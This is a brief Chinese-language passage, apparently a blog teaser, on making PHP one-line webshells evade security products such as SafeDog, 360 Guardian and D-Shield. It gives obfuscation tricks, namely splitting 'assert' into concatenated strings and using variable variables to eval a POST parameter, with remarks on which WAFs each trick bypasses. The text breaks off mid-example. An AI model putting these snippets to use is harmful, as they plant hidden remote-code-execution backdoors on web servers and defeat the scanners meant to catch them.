【免殺】————1、PHP一句話過狗、衛士、D盾等免殺思路

00x1.關鍵字拆分 比如assert，可以寫成 ‘a’.’ss’.’e’.’r’.’t’這樣。 總結：這種方法雖然簡單，但是卻沒有太強的免殺功效，需要結合其他方法。 00x2.可變變量、引用、可變函數。 可變變量：  比如$a=$_POST[‘x’];$b=’a’;@eval($$b); 測試結果: 總結：這種方法對狗等WAF可以繞過哦~但是對於D盾這種多規則的是無效的！ 引用：  比如$a=$

>>阅读原文<<